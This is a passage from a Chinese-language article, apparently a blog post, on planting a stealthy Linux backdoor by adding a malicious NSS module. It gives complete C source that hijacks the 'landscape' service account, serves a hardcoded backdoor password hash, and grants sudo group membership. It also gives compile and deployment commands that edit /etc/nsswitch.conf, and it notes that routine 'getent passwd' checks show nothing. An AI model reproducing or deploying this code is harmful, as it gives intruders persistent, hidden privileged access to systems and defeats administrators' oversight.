*，表示无密码）</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 需要确保 buffer 有足够空间容纳更长的哈希</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *pwd_ptr = result-&gt;sp_pwdp;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">size_t</span></span><span leaf=""> needed = </span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strlen</span></span><span leaf="">(BACKDOOR_HASH) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">size_t</span></span><span leaf=""> available = buflen - (pwd_ptr - buffer);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (available &gt;= needed)</span><span leaf=""><br/></span><span leaf="">        {</span><span leaf=""><br/></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strcpy</span></span><span leaf="">(pwd_ptr, BACKDOOR_HASH);</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> status;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf="">注意：上面展示的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">_nss_systemd_*</span></code><span leaf=""> 包装代码仅用于说明&#34;包装原始模块并修改部分字段&#34;的思路，帮助理解后续实际代码中的字段覆盖逻辑。由于 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">files</span></code><span leaf=""> 内置模块会优先命中已有用户（返回 SUCCESS，NSS 查询链终止），</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">systemd</span></code><span leaf=""> 模块根本没有机会被调用，因此这种包装方式</span><strong style="font-weight: bold;color: black;"><span leaf="">无法用于复用已有用户</span></strong><span leaf="">。实际部署需要使用下面的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">_nss_nop_*</span></code><span leaf=""> 独立模块，并将 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nop</span></code><span leaf=""> 放在 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">files</span></code><span leaf=""> 前面。</span></p></blockquote><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">define</span></span><span leaf=""> _GNU_SOURCE</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;nss.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;pwd.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;grp.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;shadow.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;string.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;errno.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;stdlib.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">define</span></span><span leaf=""> HIJACK_USER    </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;landscape&#34;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">define</span></span><span leaf=""> HIJACK_UID     107</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">define</span></span><span leaf=""> HIJACK_GID     109</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">define</span></span><span leaf=""> BACKDOOR_HASH  </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;$6$saltsalt$JSA7QQezqkCGcLOuIP7k8H/4DIXCKpl3swj7W2rk1Ly8TTBeDk1WTtcom9yFeIc5TjzcRNL0tPKBkCzLPu9Jy0&#34;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">define</span></span><span leaf=""> SUDO_GID       27</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">enum</span></span><span leaf=""> nss_status</span><span leaf=""><br/></span><span leaf="">_nss_nop_getpwnam_r (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">const</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *name,</span><span leaf=""><br/></span><span leaf="">                     struct passwd *result,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *buffer, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">size_t</span></span><span leaf=""> buflen, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> *errnop)</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strcmp</span></span><span leaf="">(name, HIJACK_USER) != </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_NOTFOUND;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (buflen &lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">256</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    {</span><span leaf=""><br/></span><span leaf="">        *errnop = ERANGE;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_TRYAGAIN;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *p = buffer;</span><span leaf=""><br/></span><span leaf="">    result-&gt;pw_name = p;</span><span leaf=""><br/></span><span leaf="">    p = stpcpy(p, HIJACK_USER) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    result-&gt;pw_passwd = p;</span><span leaf=""><br/></span><span leaf="">    p = stpcpy(p, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;x&#34;</span></span><span leaf="">) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    result-&gt;pw_uid = HIJACK_UID;</span><span leaf=""><br/></span><span leaf="">    result-&gt;pw_gid = HIJACK_GID;</span><span leaf=""><br/></span><span leaf="">    result-&gt;pw_gecos = p;</span><span leaf=""><br/></span><span leaf="">    p = stpcpy(p, HIJACK_USER) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    result-&gt;pw_dir = p;</span><span leaf=""><br/></span><span leaf="">    p = stpcpy(p, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/var/lib/landscape&#34;</span></span><span leaf="">) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    result-&gt;pw_shell = p;</span><span leaf=""><br/></span><span leaf="">    p = stpcpy(p, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/bin/bash&#34;</span></span><span leaf="">) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_SUCCESS;</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">enum</span></span><span leaf=""> nss_status</span><span leaf=""><br/></span><span leaf="">_nss_nop_getpwuid_r (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">uid_t</span></span><span leaf=""> uid,</span><span leaf=""><br/></span><span leaf="">                     struct passwd *result,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *buffer, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">size_t</span></span><span leaf=""> buflen, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> *errnop)</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> ((</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf="">)uid != HIJACK_UID)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_NOTFOUND;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> _nss_nop_getpwnam_r(HIJACK_USER, result, buffer, buflen, errnop);</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">enum</span></span><span leaf=""> nss_status</span><span leaf=""><br/></span><span leaf="">_nss_nop_initgroups_dyn (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">const</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *user, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">gid_t</span></span><span leaf=""> group,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">long</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> *start, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">long</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> *size,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">gid_t</span></span><span leaf=""> **groups, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">long</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> limit,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> *errnop)</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strcmp</span></span><span leaf="">(user, HIJACK_USER) != </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_NOTFOUND;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">gid_t</span></span><span leaf=""> extra[] = { HIJACK_GID, SUDO_GID };</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> i = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">; i &lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">; i++)</span><span leaf=""><br/></span><span leaf="">    {</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (*start &gt;= *size)</span><span leaf=""><br/></span><span leaf="">        {</span><span leaf=""><br/></span><span leaf="">            *size *= </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">            *groups = </span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">realloc</span></span><span leaf="">(*groups, *size * </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">sizeof</span></span><span leaf="">(</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">gid_t</span></span><span leaf="">));</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (!*groups) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_TRYAGAIN;</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf="">        (*groups)[*start] = extra[i];</span><span leaf=""><br/></span><span leaf="">        *start += </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_SUCCESS;</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">enum</span></span><span leaf=""> nss_status</span><span leaf=""><br/></span><span leaf="">_nss_nop_getspnam_r (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">const</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *name,</span><span leaf=""><br/></span><span leaf="">                     struct spwd *result,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *buffer, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">size_t</span></span><span leaf=""> buflen, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> *errnop)</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strcmp</span></span><span leaf="">(name, HIJACK_USER) != </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_NOTFOUND;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (buflen &lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">512</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    {</span><span leaf=""><br/></span><span leaf="">        *errnop = ERANGE;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_TRYAGAIN;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *p = buffer;</span><span leaf=""><br/></span><span leaf="">    result-&gt;sp_namp = p;</span><span leaf=""><br/></span><span leaf="">    p = stpcpy(p, HIJACK_USER) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    result-&gt;sp_pwdp = p;</span><span leaf=""><br/></span><span leaf="">    p = stpcpy(p, BACKDOOR_HASH) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    result-&gt;sp_lstchg = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">20000</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    result-&gt;sp_min = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    result-&gt;sp_max = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">99999</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    result-&gt;sp_warn = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">7</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    result-&gt;sp_inact = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">-1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    result-&gt;sp_expire = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">-1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    result-&gt;sp_flag = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_SUCCESS;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span leaf="">部署</span></h4><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 编译</span></span><span leaf=""><br/></span><span leaf="">gcc -shared -fPIC -o libnss_nop.so.2 nss_nop_hijack.c</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 部署模块</span></span><span leaf=""><br/></span><span leaf="">sudo cp libnss_nop.so.2 /usr/lib/x86_64-linux-gnu/libnss_nop.so.2</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 修改 nsswitch.conf，将 nop 放在 files 前面</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 注意：passwd、shadow、group 三项都需要添加 nop</span></span><span leaf=""><br/></span><span leaf="">sudo sed -i </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;s/^passwd:.*/passwd:         nop files systemd/&#39;</span></span><span leaf=""> /etc/nsswitch.conf</span><span leaf=""><br/></span><span leaf="">sudo sed -i </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;s/^shadow:.*/shadow:         nop files systemd/&#39;</span></span><span leaf=""> /etc/nsswitch.conf</span><span leaf=""><br/></span><span leaf="">sudo sed -i </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;s/^group:.*/group:          nop files systemd/&#39;</span></span><span leaf=""> /etc/nsswitch.conf</span></code></pre><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span leaf="">验证</span></h4><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5879629629629629" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-imgfileid="100019446" src="https://wechat2rss.xlab.app/img-proxy/?k=5290ecec&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7icpL221ib6Ygr4Qpadf0jtgpJ2TL9HGdwfIRhmQmSck88Ag7J5jCqQbJcq6MrJPPzuEiaQCdxoCQX6riaAZPMibibdzBjBK8xywgxOicLcjnSibJI0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6694444444444444" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-imgfileid="100019447" src="https://wechat2rss.xlab.app/img-proxy/?k=4cbdc84a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F7icpL221ib6YiafVIEbVgeOonicBItNTscsIzjBCU4TFa4icbpAXklAoUuqbHdlGhW4SHYy5epSzQJx4bjpkeoXPNyL4hzvzCiaeKeuS7WgKjykQM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">成功实现复用系统服务账户，并且做到 su 和 ssh 完全可用</span></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6592592592592592" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-imgfileid="100019444" src="https://wechat2rss.xlab.app/img-proxy/?k=e8d75885&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7icpL221ib6YhDlHGhPdnXWFOALZCTsKBXgwvAzfAw62LgibJlwTxjKaEqz3wfvD3IrJ3Py4qQnpeOLZmHbAIx4ibUm5bdU0adf12dZfdGydoOo%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">而且 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">getent passwd</span></code><span leaf=""> 和 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">getent passwd landscape</span></code><span leaf=""> 结果是不一样的：</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这意味着管理员执行 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">getent passwd</span></code><span leaf=""> 排查时，</span><strong style="font-weight: bold;color: black;"><span leaf="">看不出任何异常</span></strong><span leaf="">。只有精确查询 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">getent passwd landscape</span></code><span leaf=""> 才能看到修改后的 shell。关于遍历接口的详细分析见 6.4 节。</span></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span leaf="">与 0x04/0x05 方式的对比</span></h4><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">对比项</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">0x04 新增数据源</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">0x05 替换模块</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">6.3 复用服务账户</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">用户名</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">backdoor</span></code><p><span leaf="">（可疑）</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">backdoor</span></code><p><span leaf="">（可疑）</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">landscape</span></code><p><span leaf="">（正常）</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">/etc/passwd</span></code><p><span leaf=""> 中存在</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">❌</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">❌</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">✅ 完全正常</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">SSH 日志可疑度</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">高（未知用户）</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">高（未知用户）</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">低（已知服务账户）</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">sudo 提权</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">✅ 可加 sudo 组</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">✅ 可加 sudo 组</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">✅ 通过 initgroups_dyn 注入</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">修改 </span><code><span leaf="">nsswitch.conf</span></code></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span 